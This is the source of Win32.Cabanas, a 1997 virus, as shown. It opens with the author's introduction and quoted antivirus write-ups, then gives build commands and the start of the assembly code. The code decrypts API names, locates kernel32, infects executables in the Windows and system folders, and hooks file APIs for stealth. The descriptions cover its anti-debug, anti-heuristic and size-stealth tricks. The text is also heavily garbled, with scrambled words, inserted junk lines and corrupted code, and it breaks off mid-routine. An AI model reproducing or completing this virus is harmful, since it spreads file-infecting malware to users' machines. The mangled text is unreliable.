;
苒 苒? 苒 苒 圹? 苒 苒?; Win32.cabanas.2999??????; By jacky qWERTY / 29A 苘苒 咣 咣 咣? 圹?;?圮苘? 苘苘 苘苘???; 圹? 圹 圹???;
I'm Very Proud To Introduce The First / WinNT / WINNT / WIN95 / WIN32S Virus.
Not Only It's The First Virus Stayin Resident ON NT, But IS Also the First
WITH STEALTH, ANTIDEBUGGIN AND ANTIHEURISTIC CAPABILITIEZ. in Short Wordz,
This babe is a "per process" Memory Resident, Size Stealth Virus Infection
Portable Executable Filez On Every Existin Win32-Based System. Those WHO
DONT KNOW What A "Per Process" Res, IT Means a Virus Staying
Resident Inside The Host Win32 Aplication's Private Space, Monitoring File
Activity and Infectin PE Filez Or Accesed by Such Win32 Aplication.
;
; The purpose of this Virus Is To Prove New Residency Techniquez That Can Be
; Exploited from Genuine Win32 Infectorz, Without All The Trouble of Writing
Especific Driverz for Win95 (VXDS), And Winnt. A Genuine Win32 Infector IS
A Virus Bein Able To Work Unmodified Across All Win32 Platformz Available:
Win95, Winnt and Any Other Future Platform Suportin The Win32 API Interfa-
CE. So far Only Win95 Especific Virusez Have Been Found, Not Win32 Genuine
Onez. Make Sure To Read The Complete Description About Win32.cabanas Writ-
; Ten by P 伥 Er SZ block, available at http://www.avp.ch/avpve/newexe/win32/caba-
NAS.STM. U Can Also Read Description by Igor Daniloff from Dr.Web, Availa-
Ble at http://www.dials.ccas.ru/inf/cabanas.htm as well.
;
; After Readin P 伥 Er SZ block 's description About Win32.cabanas, i realized he'd
Really Made a Very Serious Profesional Work. So Good That He DIDNT SEEM TO
Miss any internail detail in the Virus, As if He Had Actually Writen The; Bug Himself or As IF He Was Actually Me, Hehe. Obviosly, None of the PRIOR
Onez Are True. But, Nevertheless, I Think It's Worth To Take His Work Into
Account Even from the vx side of the fence. Really I Dunno What's Left for
; Me To Say After Such Description, SO I WILL SIMPLY Add My OWN PERSONAL CO-
Mentz to P 伥 ER's log. ERM .. BTW why dont u join us? HEH> 8P
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8
1. TECHNICAL DESCRIPTION
Where is Xiyomo know? Where is it?
Win32.cabanas is The First Known 32-Bit Virus That Works Under Windows NT
; Server, Windows NT Workstation, Windows 95 and Windows 3.x Extended with WITH
Win32S Sub-System. It was found in late 1997.
;
Win32.cabanas is a per-process memory, antidebug-
GeD, Partially Packed / Encrypted, Anti-Heuristic, Semi-Stealth Virus. The
"Win32" prefix is not misleading, as the virus is also able to spread in
ALL WIN32 BASED SYSTEMS: Windows NT, Windows 95 and Win32s. The Author of
; The Virus Is A Member of The 29a Group, The Same Young Virus Writer Who
Wrote the infamous cap.a virus.
;
;
; 1.1. Running an infected pe file
Where is Xiyomo know? Where is Xiyomo?
When a win32.cabanas infread file is executed, The Execution Will Start
At the Original Host Entry Point. surprisingly, Cabanas Does Not Touch
The entry point field in the image file header. INSTEAD IT PATCHES THE
Host Program At Its Entry Point. FIVE BYTES AT The Entry Point IS Replaced
WITH A FAR JMP To The Address Where The Original Program Ended. THIS CAN
; Be considered as an anti-heuristic feature, as the host entry point value
.................
;
Thus The First JMP Points to the Real Entry Point. THE FIRST FUNCTION IN
Cabanas Unpacks and Decrypts A String Table Which Consists Of Win32 Kernel
API Names. The Unpack Mechanism IS Simple But Effective Enough. Cabanas IS
Also an armored virus. It Uses "structured exception handling" (Typically
Abbreviated AS "SEH") as an anti-debug trick. this prevents debugging fromom
Any Application-Level Debugger, Such AS TD32.
;
When the unpack / decryptor function is ready, The Virus Calls a Routine To
Get the Original Base Address of kernel32.dll. During Infection Time, The
; Virus Searches for getModuleHandlea and getModuleHandlew API in the import
Table, Respectively. When It Finds Them, IT Saves a Pointer to the Actual
DWord in the .idata list. Since the loader Puts the addresses to this
Table Before IT Executes The Virus, Cabanas Gets Them Easily.
;
; If the application does not has getModuleHandlea / GetModuleHandlew API
Import, The Virus Uses A Third undocumented Way to get the base address of
Keernel32.dll by getting it from the forwarderchain field in the kernel32
Import. Actually this Will Not Work Under Windows NT, But on Win95 Only.
When the Virus Has The Base Address / Module Handle of Kernel32.dll, IT
Calls Its Own Routine TO GET The Address of getProcAddress Function. The
First Method Is Based on The Search of The Import Table During Infection
Time. The Virus Saves a Pointer to The .idata Section WHENEVER IT FINDS A
GetProcaddress Import in The Host. In Most Cases Win32 Applications IMPORT
The getProcaddress API, Thus The Virus Should Not Use a secondary routine; to get the same result. if the first method fails, The Virus Calls Another
Function Which is able to search for getProcaddress Export in kernel32.
SUCH FUNCALD BE CALLED AS getProcaddress-from-exportstable. This
Function is able to search in kernel32's exports Table and Find the
Address of getProcAddress API.
;
This Function is one of the Most Important Ones from the Virus Point of
View and it is compatible with all win32 based systems. if the entry point
; of getProcaddress Was Returned by the getproCaddress-from-exportstable
Function, The Virus Saves this Address and use it lated on. Otherwise, The
GetProcaddress-from-Exportstable Function Will Be Used Several Times. This
Function is also saved with "structured exception handling" to Avoid from
Possible Exceptions. After this, The Virus Gets All The API Addresses IT
Wants to use in a loop .hen the addresses is ready, Cabanas Is Ready
To Replicate and Call ITS Direct action infection routine.
;
;
; 1.2. Direct action infection
Where is Xiyomo know? Where is Xun?
The Direct action infection part is surprisingly fast. Even though the
Virus Goes Through All The Files in Windows Directory, Windows System
; Directory and in The Current Directory Respectively, The File Infection
Is Fast Enough To Go Unnoticed in Much Systems. This is Because The Virus
Works with "Memory Mapped Files", A New Feature Implement in Win32 Based
Systems Which Simplifies File Handling and INCRESES SYSTEM Performance.
;
First The Virus Gets The Name of Windows Directory, The IT Gets The Name
Of Windows System Directory and Calls The Function Which Searches for Non-; Infected Executable Images. It Searches for non Directory Entries and
Check The size of the files it..
;
Files with size dividable by 101 without reminder is assumed to be
Infected. Other Files Which Are Too Huge Will Not Be infected Either.
; After this, The Virus Checks The File Extension, IF IT Matches Exe OR
; SCR (Screen Saver Files), The Virus Opens and Maps The File. If The File
; is considered to short, the file is closed. The file is closed. Then IT Checks the`mz 'marker
At the beginning of the image. Next it positions to the possible `pe '
Header Area and Checks The `pe 'Signature. It Also Checks That The
EXECUTABLE WAS MADE TO RUN 386 Machines and Looks for the Type of
The file. DLL Files Are Not Infected.
;
After this, The Virus Calculates a Special Checksum Which Uses The
Checksum Field of PE Files Optional Header and The File-Stamp Field of
The image file header. if the file seems to be infreaded the Virus Closes
The file. if NOT, The File Is Chosen for Infection. Cabanas The Closes
; The file, Blanks the file attribute of the file with setfileAttributea API
And Saves The Original Attributes for Later Use. this means the Virus IS
NOT Stopped by The "Read Only" Attribute. Then Again, IT OPENS and MAPS
The Possible Host File in Read / Write Mode.
;
Next it searchles for the getModuleHandlea, getModuleHandlew and
GetProcaddress API Imports in The Host Import Table and Calculates
Pointers to the .idata section. Then it calls the routine Which
Patches the Virus Image INTO The File.
;
This Routine First Checks That The .idata Section Has Mem_Write
CHARACTERISTICS. IF NOT IT SETS This flag on the section
Virus from Turning On Suspicious Flags on The Code Section, Triggered
by Some Heuristic Scanner.
;
; The IT GoES to the entry point of the image and report Five Bytes
; WITH WILL POINT to THE Original End of The
Host. After That It Checks The Relocation Table. This is Because Some
; Relocations May Overwrite the far jmp at the entry point. if the
; Relocation Table Size Is Not Zero the Virus Calls a Special Routine
To Search for Such Relocation Entries in The .Reloc Area. IT CLEARS
The Relocation Type On The Relocation Record if it Points Into The Far
JMP Area, this this relocation will not take it 通o account by the loadinger.
The Routine Also Marks The Relocation, Thus Cabanas Will Be Able To
; relocate the host later on. The IT Crypts All The Information Which Has
To be encrypted in the Virus body. include the table which holds the THE
Original 5 bytes from the entry point and its location.
;
Next The Virus Calculates The Special Checksum for Self Checking Purposes
And Saves this to the Time Stamp Field of The Pe Header. When Everything
; Is Ready, The Virus Calculates The Full New Size of The File and Makes
This value Dividable by 101. The real virus code is around 3000 bytes
Only But The Files Will Grow with more bytes, Because of this. Cabanas
HAS a Very Important Trick here. The Virus Does Not Create A New Section
Header to Hold Its Code, But Patches The Last Section Header in The File
(USUALLY.RELOC) To grow the section body large enough to store the Virus
Code. this makes the infection less risky and less noticeable .;
Imate the virus changes the sizeofimage field in the pehofi to reflect
; the changes match to the last seat in the file, the unmaps and closes
The file. next it truncates the file at the prepviously called size
And restores the Original Time and Date Stamp. Finally Cabanas Resets The
Original Attribute of The File. When All The Possible Files Have Been
Checked for Infection, Cabanas Is Ready to Go Memory Resident.
;
;
; 1.3. Rebuild The Host, Hook API Functions and Go Memory Resident
Where is Xiyomo knows? Where is Xomomo know 1?
The next phase is to rebuild the host program. The Virus locates an
Internal Parameter Block Which Consists of the Previously Encrypted Code
; from the host (5 bytes) and Writes Back the 5 Original Bytes At the entry
Point. After this, it relocates the code area if needed, by searching in
The .reloc section for marked relocation entries. Next The Virus Hooks
API Functions and Goes Memory Resident.
;
The API Hooking Technique Is Based on The Manipulation of The Import
Table. Since The Host Program Holds The Addresses of Imported Functions
; in its .idata section, all the virus haas to do is to replace those
Addresses to Point To ITS OWN API Handlers.
;
To make Those Calculation Easy, The Virus Opens and Maps The Infected
Program. Then IT Allocates Memory for ITS Per-Process Part. The Virus
ALLOCATES A 12232 BYtes Block and Copies Itself Into this new allocated
Area. The IT Searches for All The Possible Function Names It Wants To
Hook: getProcaddress, GetFileAttributesa, GetFileAttributesw, MovefileExa,
Movefileexw, _lopen, Copyfilea, CopyFilew, OpenFile, Movefilea, MoveFilew, CreateProcessa, CreateProcessw, CreateFilea, CreateFilew, FindClose,
FindfirstFilea, FindNextFilew, FindNextFilea, FindnextFilew, SetFileAttra,
; Setfileattrw. WHENEVER IT FINDS One of the latter apis, it saves the
Original Address To Its Own JMP Table and Replaces the .idata Section's
DWORD (Which Holds The Original Address of The API) with a Pointer to ITS
oow API Handlers. Finally the Virus Closes and unmaps the host and starts
The application, by jumping into the Original Entry Point in The Code
.
;
; Some Win32 Applications However May Not Have Imports for Some of these
File Related Apis, They Can Rather Retrieve Their Addresses by Using
GetProcaddress and Call The Directly, Thus the Virus Would Be Unable
To hook this calls. NOT SO FAST. The Virus Also Hooks GetProcaddress
For a special purpose. getProcaddress is buy by MOST Applications.
When a application calls getprocaddress the Virus New Handler First
Calls the Original GetProcaddress to get the address of the requested
API. THEN IT CHECKS IF The Module Handle Parameter Is from Kernel32 and
; if The function is one of the kernel32 Apis that the Virus Wants to hook.
; If So, The Virus Returns A New API Address Which Will Point Into ITS
Newjmptable. Thus the application will still get an address to the Virus
New Handler In Such Cases As Well.
;
;
; 1.4. Stealth and Fast Infection Capabilities
Where is Xiyomo knows? Where is Xiyomokin?
Cabanas Is A Semi-Stealth Virus: During Findfirstfilea, FindfirstFilew,
FindnextFilea and FindnextFilew, The Virus Checks for Already Infected
PROGRAMS. IF The Program Is Not Infected The Virus Will Infect It ,; OtherWise It Hides The File Size Difference By Returning The Original
Size for the host program. During this, The Virus Can See All The File
Names The Application Accesses and Infects Every Single Clean File.
;
Since the cmd.exe (Command Interpreter Of Windows NT) is Using The Above
Apis During a Dir Command, Every Non Infected File Will BE Infected
The cmd.exe was infected previously by win32.cabanas. The Virus Will
Infect Files During Every Other Hooked API Request As Well.
;
Apart from the Encrypted API Names Strings, The Virus Also Contains The Virus Also Contains
FOLLOWING COPYRIGHT MESSAGE:
;
; (c) Win32.cabanas v1.0 by jqwerty / 29a.
;
;
; 1.5. Conclusion
Which is nine?; Win32.cabanas is a Very Complex Virus with Several Features New in Win32
Based Systems. It Shows Quite Interesting Techniques That Can Be Used in
The Near Future. IT Demonstrates That A Windows NT Virus SHOULD NOT HAVE
Any Windows 95 or Windows Nt especific functionality in Order to Work ON
Any Win32 System. The "Per-Process" Residency Technique Also shows A
PORTABLE VIABLE SOLUTION TO AVOID KNOWN Compatibility Issues Between
; Windows 95 and Windows NT Respecting Their Low Level Resident Driver
Implementations. Virus Writers Can Use these Techniques and their
Knowledge The Have Had on Windows 95 To Come to a more robust platform.
So far win32.cabanas Has Made this first step.
; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8
;
;
; 2. SHORTCUTZ
Where is it?
; (*) http://www.dials.ccas.ru/inf/cabanas.htm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8
Win32.cabanas: a brief description; and knowing from knowing? Where is Xiyomo?
; Igor A. Daniloff
;
Win32.cabanas is The First Known Virus That Infects Files Under Microsoft
32-Bit Windows Operating Systems (Win32S / Windows 95 / Windows NT). NOT ONLY
IS IT Capable of Infection PortableExecutable Files, But Also Remains
Resident In The Current Session of An Infected Program in All these
Windows Systems.
;
; The Viruses Specifically Designed for Windows 95 Thus Far Could Not
Properly Infect Files in Windows NT. Although Files Of Windows 95 and
; Windows NT Have Identical PE Format, Certain Fields in Their Pe Headers
Are Different. Therefore, for Infecting Files Under Windows NT, The PE
Header Must Be Modified AppropriaTely; Otherwise Windows NT Would Display
An Error Message In The Course of Loading The File. Furthermore, Viruses
ENCOUNTER CERTAIN Problems in Determining The Base Addresses Of Win32
Keernel API in The Memory, Because Kernel32.dll in Windows 95 and Windows
NT Are Located At Different Memory Addresses. But Win32.cabanas Smartly
Handles these problems. on Starting An Infected File, The Virus Get
Control, Unpacks and Decrypts ITS Table of Names of Win32 Kernel API
Procedures That Are Needed in The Sequel, and the seinermines the base
Address of kernel32.dll and the addresses of all Necessary Win32 Kernel
API Functions.
;
While Infecting A File, Win32.cabanas Finds The Names of getModuleHandlea,
GetModuleHandlew, and getProcaddress Functions from the import Table and
Stores in its code the offsets of the addresss of these procedures in the
Import table (in the segment .idata, as a rule). If the names of these
Procedures are not detectable, win32.cabanas buy; method of finding the base address of kernel32 and the addresses of Win32
Keernel API. But there is a bug in this undocunted method; theretrument
Method is inoperative under windows nt. if the addresses of
GetModuleHandlea or getModuleHandlew Functions Are Available in The Import
Table of the infected file, The Virus Easily Determines The Win32 Kernel
API Addresses Through the getProcaddress Procedure. If The Addresses Are
NOT AVAILABLE IN THE IMPORT TABLE, The Virus Craftily Finds The Address of
GetProcaddress from the export table of kernel32. As already a mentioned,
; this Virus Mechanism Is Not Operative Under Windows NT Due To A bug, And,
AS A Consesequence, The Normal "Activity" of the Virus is disabled. this is IS
The only serious bug thing prevents the proliferation of win32.cabanas
Under Windows NT. on The Contrary, In Windows 95 The Virus "Feels"
Completely at home "and straightforwardly (Even in the absence of the
Addresses of getModuleHandlea or getModuleHandlew) DETERMINES THE BASE
Address of kernel32.dll and getProcaddress via an undocumented method.
;
Using the getProcaddress Function, Win32.cabanas Can Easily Get The
Address of any Win32 Kernel API Procedure That Needs. this is precisely
What The Virus Does: It gets the addresses and stores them.
;
; Win32.cabanas initiates ITS Engine for Infecting Exe and SCR PE-Files
; in / windows, / windows / system, and the current folder. prior to infecting A. PRIOR TO INFECTING A
File, The Virus Checks for a Copy of Its Code THROUGH CERTAIN FIELDS IN
; the pehader and by the file size, which for an infected Must Be a
Multiple of 101. As Already Mentioned, The Virus Searches for the names of; getModuleHandlea, getModuleHandlew or getProcaddress in the import table
And Saves The References To Their Addresses. The IT Appends ITS Code At
The file end in the last segment section (Usually ,.Reloc) after modifying
The Characteristics and size of this section. Thereafter, The Virus
; Replace the Five Initial bytes of the Original Entry Point of The Code
;,,,,,,,,,,,,,,,,,,,,,,,,,,....................................................................................................
The Virus Code in The last segment section (.reloc). for this purpose, the Purpose, THE
; Virus Examines The Relocation Table (.reloc) for Finding Some Element in
The region of bytes That The Virus Had Modified. if, the Virus. IF ANY, THE VIRUS
"Disables" The Reference and Stores ITS Address and Value for Restoring
The initial bytes of the entry point at the time of transfer of control
; to the host program and, if Necessary, for Appropriately Configuring the
.
;
; After infecting all files That Yield to Infection In / Windows, / Windows /
; SYSTEM, AND IN THE CURRENT FOLDER, The Virus Plants A Resident Copy Into
The system and "intercepts" the nextary system functions. using
Virtualaloc, The Virus Allots for Itself 12232 BYtes in the memory and
Plants it. code there. The IT Tries to "Intercept" The Following Win32
Keernel API functions: getProcaddress, getFileAttributesa,
GetfileAttributesw, MovefileExa, MovefileExw, _Loopen, Copyfilea,
Copyfilew, OpenFile, Movefilea, MoveFilew, CreateProcessa, CreateProcessw,
Createfilea, CreateFilew, FindClose, Findfirstfilea, FindfirstFilew,
FindnextFilea, FindNextFilew, SetFileAtTra, And SetFileAtTrw. The Virus
"Picks Up" The Addresses of these Functions from The Import Table, And; Writes The Addresses of Its Handlers in The Import Table. on Failing To
"Intercept" Certain Necessary Functions, The Virus, When the Host Program
Calls for the getProcaddress Function, Verifies WHETHER THIS function is
Necessary for the Host Program, And Returns The Address of The Virus
Procedure to Host Program if Necessary. When a Program Calls for Certain
Functions That Have Been "Intercepted" by Win32.cabanas, The File
Infection Engine and / or The Stealth Mechanism Are / IS Initialized. Thus,
When FindfirstFilea, FindFirstFilew, And FindnextFilea or FindnextFilew
Functions Are Called, The Virus May Infect The File Which is Being
Searched and hide the increase in the infread file size.
;
Win32.cabanas cannot Be Regarded As a "True Resident" Virus, Because IT
; "Intercepts" System Functions and Installs Its Copy in A Specific Memory
Area Only in The Current Session of An Infected Program. But what WILL
Happen on Starting, for Example, An Infected Norton Commander for Windows
; 95 or Command Interpreter for Windows NT? OR A Resident Program? INDEED,
Win32.cabanas Will Also "Work Hard" Side by Side with Such a Program Until
It is termic.
;
Win32.cabanas Contains An Encrypted Text String
"(c) Win32.cabanas v1.0 by jqwerty / 29a"
;
(c) 1997 DialoguesCience, Inc., Moscow, Russia. All Rights Reserved.
; - - - - - - - - - - - - - - - - - - - - - - - - - - -> 8
;
;
; 3. Main featurez
Where is Xiyomo?
* Platformz: WindowsNT, Windows95, Win32S, I.E. All Win32 Platformz.
* Residency: Yes, "Per Process", Workin On All Win32 Systemz .; * Non-Residency: Yes, Direct Action, Infects Pez Before GOIN Resident.
; * Stealth: Yes, Size Stealth of Inf.filez (F-Potatoe95 fooled).
; * Antidebuging: Yes, TD32 or Any Other "Aplication" Level Debuger
Generates An Exception When Debugin An Infected
APLICATION. This Obviosly Doesnt APLY for Soft-Ice
For Windows95, A Big Monster.
* Antiheuristicz: Yes, Inf.filez Have No Obvious Symptomz of Infection.
Taher win95 virusez tent to "mark" The Pe Header SO
They area. See: Other Featurez (e).
; * Antiantivirus: Yes, Disinfection of Inf.filez is almost * imposible *.
; * Fast Infection: Yes, Filez Are Infected When Accesed for Any Reason.
* Polymorphism: No, The Poly Engine Was Stripped and removed on purpose.
; * Other Featurez:
(a) The entrypoint field in the pehdr is not modified.
; (b) Win32 File API FunctionZ Are Hooked for Infection and
Stealth Purposez But Also for Platform Compatibility.
; (c) Use of the win32 "file-maping" API FunctionZ, thus
Implementin "Memory-Mapped Filez". no more "readfile",
"SetFilePointer", "Writefile" ... it is about time.
; (d) Absolutely no use of absolute adressez in set of
Compatibility With Other Future Win32 Releasez.
; (e) The Shape av Program sucks, But Sadly It Was The Best
Thing Detectin Pe Infected Filez HeuriSti. Well
Almost as it Didnt Triger a Single Flag On this one :)
; (f) Use of "structured exception handling" (SEH) in Those
Critical Code Fragmentz That Could Generate GP Faultz,
I. EXCETIONZ Are Intercepted and handled protion.
(g) unicode suport. this babe real works in nt. no lie .;
;
; 4. WHO WAS CABANAS?
Where is Xomo? Where is it ?; Gonzalo Cabanas Used to be a daydream believer. We share Several Thingz
In Comon, Heard Same R.e.m Music Style, Wore The Same Ragged Blue Jeanz,
; And Behaved Like Kidz Everywhere We Went Together, Putin Tackz on The Tea-
Cher's Chair, Stealin Some Classmate's Lunch and So on. We Even LIKED THE
; Same Girlz, Which Explains Why We Sometimez Ended Up Punchin EACH OTHER'S
Face from time to time. However, u Could Find Us next day, smoking A-
Round by the skoolyard as if nothin had Ever Hapened. WEERE The Best
Friendz Ever. I Know this Virus Wont Return Him Back to Life, Nor "Will DO
Him Justice, HOWEVER, ISTILL WANTED to Somewhat Dedicate this Program in
His Honor.
;
;
; 5. Greetz
Where is it?; The Greetz Go TO:
;
Gonzo Cabanas ......... Hope to see u thingwhere in time .. Old Pal!
Murkry ................ WHOA .. I like Yer High-Tech Ideaz Budie!
Virusbuster / 29a ....... u're the i-net man pal .. keep doin it!
VECNA / 29A .................. Keep Up The Good Work Budie.. See Ya!
L- .................. DID YA ASK for SOME KICK-ASS LIL 'CREATURE? X-D
INT13 ................... HEY PAL .. U'Re Also A Southamerican Rocker!;)
Peter / F-Potatoe ....... Yer Description Rulez .. Mikko's Envy Shines!
; DV8 (H8), KDKD, ETC ... Hey Budiez .. now WHERE DA HELL ARE U?
Griyo, Sandy / 29A ... THX for Yer Patience HEH X-D
;
;
; 6. Disclaimer
Which is nine?; This source code is for educational purposez only. The author is not res-
PONSABLE for any problemz caused due to the assembly of this file.
;
;
; 7. Compiableing IT
Where is Xiyomo?; Tasm32 -ml-M5 -Q-Zn Cabanas.asm; TLINK32-Tpe -c -x -aa Cabanas,,, IMPORT32
Pewrsec Cabanas.exe
;
;
(c) 1997 Jacky QWERTY / 29A.
.386p; Generate 386 protected mode instructionz
.Model flat; no segmentz and a ful 32-bit offset .. what a dream;)
Some includez Containin Very Useful structurez and constantz for Win32
INCLUDE USEFUL.INC
Include Win32API.inc
Include Mz.inc
INCLUDE PE.IC
; Some Equ's needed by the Virus
NAPIS = 1 * 1024; Size of Jump Table Holdin Hooked APIZ
NHANDLEZ = 2 * 1024 512; Size of Handlez Table
Npathnamez = 4 * 1024 512; Size of Pathnamez Table
EXTRN GETMODULEHANDLEA: PROC; APIZ Used Durin First Generation ONLY
EXTRN GETPROCADDRESS: PROC
.DATA
DB?; Some Dummy Data SO TLINK32 DONT YELL
.code
Virus Code Starts Here
v_start:
Call get_base
Code_Table:
DD 12345678H; Host RVA Entry Point
DW 1; Number of Bytez
DB?; bytez to patch
DW 0; End of Parameter Block
Code_Start:
Packed apiz needed by the Virus. The Will Travel in Packed / Encrypted Form
VE_STRINGZ:
VESZKERNEL32 DB 'KERNEL32', 0
VESZGETMODULEHANDLEA DB 'GETMODULEHANDLEA'
VESZGETMODULEHANDLEW DB 80H, 17
EEXTS DB 'FXETCR', 0; List of File Extensionz
VESZGETPROCADDRESS DB 'GETPROCADDRESS', 0
VeszgetFileAttributesa DB 'GE', 'T' 80H, 'Attributesa'
VeszgetFileAttributesw DB 80H, 19
Veszmovefileexa DB 'MOV', 'E' 80H, 'EXA'
VeszmovefileExw DB 80H, 12
VESZ_LOPEN DB '_LOPEN', 0
VeszcopyFilea DB 'COP', 'Y' 80H, 'A'
VeszcopyFilew DB 80H, 10
Veszopenfile DB 'OPE', 'N' 80H, 0
Veszmovefilea DB 'MOV', 'E' 80H, 'A'
VeszmoveFilew DB 80H, 10VeszcreateProcessa DB 'CreateProcessa'
VeszcreateProcessW DB 80H, 15
VeszcreateFilea DB 'Creat', 'E' 80H, 'A'
VeszcreateFilew DB 80H, 12
VESZFINDCLOSE DB 'FINDCLOSE', 0
Veszfindfirstfilea DB 'Findfirs', 'T' 80H, 'A'
VESZFINDFIRSTFILEW DB 80H, 15
VESZFINDNEXTFILEA DB 'FINDNEX', 'T' 80H, 'A'
VESZFINDNEXTFILEW DB 80H, 14
VeszsetFileAttributesa DB 'Se', 'T' 80H, 'Attributesa'
VeszsetFileAttributesw DB 80H, 19
VeszCloseHandle DB 'CloseHandle', 0
VeszcreateFilemappinga DB 'Creat', 'E' 80H, 'Mappinga', 0
VeszmapViewoffile DB 'MapViewo', 'F' 80H, 0
VeszunmapViewoffile DB 'unmapViewo', 'F' 80H, 0
VESZSETFILEPOINTER DB 'SE', 'T' 80H, 'Pointer', 0
VeszseEtendoffile db 'setndo', 'f' 80h, 0
VeszsetFileTime DB 'SE', 'T' 80H, 'Time', 0
VeszgetWindowsDirectory DB 'getWindowsDirectorya', 0
VeszgetsystemDirectory DB 'getSystemDirectorya', 0
VeszgetCurrentProcess DB 'getCurrentProcess', 0
VeszgetModuleFileName DB 'getModul', 'E' 80H, 'Namea', 0
VESZWRITEPROCESSMORY DB 'WRITEPROCESSMORY', 0
VeszwideChartomultibyte DB 'Widechartomultibyte', 0
Veszvirtualaloc DB 'Virtualalloc', 0
EndoffunctionNamez DB 0
Copyright and Versionz
Eszcopyright DB "(c) Win32.cabanas v1.1 by jqwerty / 29a.", 0
VE_STRING_SIZE = $ - VE_STRINGZ
GET_BASE:
Mov ECX, VE_STRING_SIZE; GET SIZE OF PACKED / ENCRYPTED STRINGZ
MOV ESI, [ESP]; Get Pointer to Packed / Encrypted Stringz
XOR EBX, EBX
Mov Eax, ESISUB ESI, ECX
CLD
Sub DWORD PTR [ESP], Code_Table - SEH_FN
Add ESI, [EAX - 4]
Push DWORD PTR FS: [EBX]; SET SEH FRAME .. EVER SEEN FS IN ACTION? X-D
Lea EDI, [ESI PCODETABLE - VE_STRINGZ]
STOSD; Save Pointer to Code_Table
Add Eax, 12345678H
Delta_host = DWORD PTR $ - 4
STOSD; Save Actual Host Base AdRess
MOV EAX, ESI
STOSD; Save Pointer to Virus Start
EBP_NUM = DDGETPROCADDRESS 7FH
TMP_EDI = Pcode_Start 4
MOV FS: [EBX], ESP
Pushhad
XCHG Eax, [EBX - 2]; Go Away Lamerz and Wannabeez ..
DB 2DH
SEH_RS: SUB EDI, TMP_EDI - V_STRINGZ; GET POINTER TO KERNEL32 API Name
POP EAX
Push EDI; Pass the Pointer TWICE
Push EDI
Decrypt_stringz:; Decrypt / Unpack API Namez and other Stringz
Lodsb
ROL Al, Cl
XOR Al, 0B5H
JNS D_Stor
Add Al, -80h
JNZ D_File
Stosb; Expand / Unpack Unicode API Name
XOR EAX, EAX
Lodsb
PUSH ESI
XCHG ECX, EAX
MOV ESI, EDX
REP MOVSB
XCHG ECX, EAX
Sub Byte PTR [EDI - 2], 'A' - 'W'
POP ESI
JMP D_UPDT
D_File: Stosb
XOR EAX, EAX
Sub Eax, - 'Elif'; Expand to 'File' Where Aplies
Stosd
CMP AL,?
Org $ - 1
D_Stor: Stosb
JNZ D_LOOP
D_UPDT: MOV EDX, EDI
D_Loop: loop Decrypt_Stringz; Get Next Character
Call MygetModuleHandlea; Get Kernel32 Base AdRess (First Try)
POP ESI
JNZ Gotk32; Jump if Found
SUB ECX, ECX
XOR EAX, EAX
MOV CL, 9
Push EDI
CLD
Copy_k32w:; make Unicode String for kernel32
Lodsb
Stosw
Loop Copy_K32W
Call MygetModuleHandlew; Get Kernel32 Base AdRess (Second Try)
JNZ Gotk32; Jump if Found
Call MygetModuleHandlex; Get Kernel32 Base AdRess (Third Try)
JNZ Gotk32; Jump if Found
Quit_app:
POP Eax; Shit .. kernel32 base adRESS NOT FOUND
Ret; try to quit Aplication via an undocumented WAY
DB 67h; Some prefix to confuse lamerzseh_fn: MOV Eax, [ESP.EH_ESTABLISHERFRAME]
Lea ESP, [EAX - CPUSHAD]
Popad
XOR EAX, EAX
LEA EBP, [EDI EBP_NUM - TMP_EDI]
POP DWORD PTR FS: [EAX]; Remove SEH FRAME
JMP SEH_RS
Gotk32: MOV [EBP K32MOD - EBP_NUM], EAX; Store Kernel32 Base AdRess
CMP DWORD PTR [EBP DDGETPROCADDRESS - EBP_NUM], 0
XCHG EBX, EAX
JNZ FIND_APIS; GOT RVA POINTER TO GETPROCADRESS API?
Lea ESI, [EBP VSZGETPROCADDRESS - EBP_NUM]
Call MygetProcaddressk32; NO, Get Adression of getProcadRESS DIRECTLY
JECXZ FIND_APIS
Lea Eax, [EBP DDGETPROCADDRESS2 - EBP_NUM]
MOV [EAX], ECX
Sub eAX, [EBP Phost_HDR - EBP_NUM]
MOV [EBP DDGETPROCADDRESS - EBP_NUM], EAX
Find_apis:; find file related API adressez from kernel32 ..
LEA ESI, [EBP FUNCTIONNAMEZ - EBP_NUM]
Lea EDI, [EBP FUNCTIONADRESSEZ - EBP_NUM]
Getapiaddress:
Call MygetProcaddressk32; Get API AdRess
Jecxz Quit_App
CLD
XCHG EAX, ECX
STOSD; Save Retrieved API AdRess
@Endsz; Point to Next API Name
CMP [ESI], AL; END OF API Namez Reached?
JNZ getapiaddress; no, get next API adress
Lea EBX, [EBP Process_Dir - EBP_NUM]
Lea EDI, [EBP PATHNAME - EBP_NUM]
Push 7fh
Push EDI
Call [EBP DDGETWINDOWSDIRECTORYA - EBP_NUM]
Call Ebx; Infect Filez in Windows Directory
Push 7fh
Push EDI
Call [EBP DDGETSYSTEMDIRECTORYA - EBP_NUM]
Call EBX; Infect Filez in System Directory
XOR EAX, EAX
MOV BYTE PTR [EDI], '.'
INC EAX
Call Ebx; Infect Filez in Current Directory
Build_host:; Rebuild The Host ..
MOV ESI, [EBP PCODETABLE - EBP_NUM]; Get Code Table of Host
MOV EBX, [EBP Phost_HDR - EBP_NUM]; Get Host Base AdRess
CLD
Lodsd
Add Eax, 0B2FD26A3H; Decrypt Original Entry Point RVA
Add_1st_val = DWORD PT $ - 4xchg EDI, EAX
Add Edi, EBX
Push EDI; Save Entry Point for L8R Retrieval
GET_COUNT:
Call [EBP DDGETCURRENTPROCESS - EBP_NUM]; GET PSEUDO-HANDLE for CURRENT Process
XCHG ECX, EAX
CLD
Lodsw; Get Number of bytes To Copy
CWDE
XCHG ECX, EAX
MOV EDX, ECX
Push Ecx; Push Parameterz to WriteProcessMemory API
Push EAX
PUSH ESP
Push ECX
PUSH ESI
Push EDI
Push EAX
Decrypt_hostcode:; Decrypt The Chunk of Original Host Code Previous, PREVIOSLY Encrypted.
Lodsb
XOR Al, 06ah
XOR_2nd_val = byte PTR $ - 1
ROL Al, Cl
MOV [ESI-1], Al
Loop Decrypt_hostcode
SUB ECX, 12345678H
Old_base = dWord PTR $ - 4
Add ECX, EBX; HAS HOST BASE AdRess Been Relocated?
JZ Write_Chunk; No, Relocation FIX NOT NECESARY .. JUMP
FIX CODE POINTED TO by One or More Nulified Relocationz ..
Pushhad; Get RVA Start of Relocation section ..
Lea ESI, [EBX.MZ_LFANEW]
